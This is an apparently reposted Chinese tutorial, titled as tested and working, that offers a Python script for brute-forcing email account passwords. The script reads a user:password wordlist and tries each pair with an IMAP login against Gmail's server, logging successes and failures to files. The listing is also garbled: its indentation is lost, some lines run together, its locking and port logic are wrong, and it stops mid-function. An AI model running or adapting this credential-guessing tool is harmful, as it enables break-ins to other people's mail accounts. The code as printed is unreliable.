Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

2020-06-22 09:39 来源:易采站长站 作者:易采站长站整理 点击: 评论:

A-A+

原标题:Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :


username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。


# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
Success_File = open('success.txt', 'a')
Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
Fail_File = open('fail.txt', 'a')
Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1)
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
print('IMAP INDEX-------', IndexGmail)
print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
Write_Save_Fail_Gmail_Jobs(IndexGmail)
# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
try:
ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
except GmailImap4.error :
print('Logical errors - debug required')
Write_Save_Fail_Gmail_Jobs(IndexGmail)

【易采站长站编辑:秋军】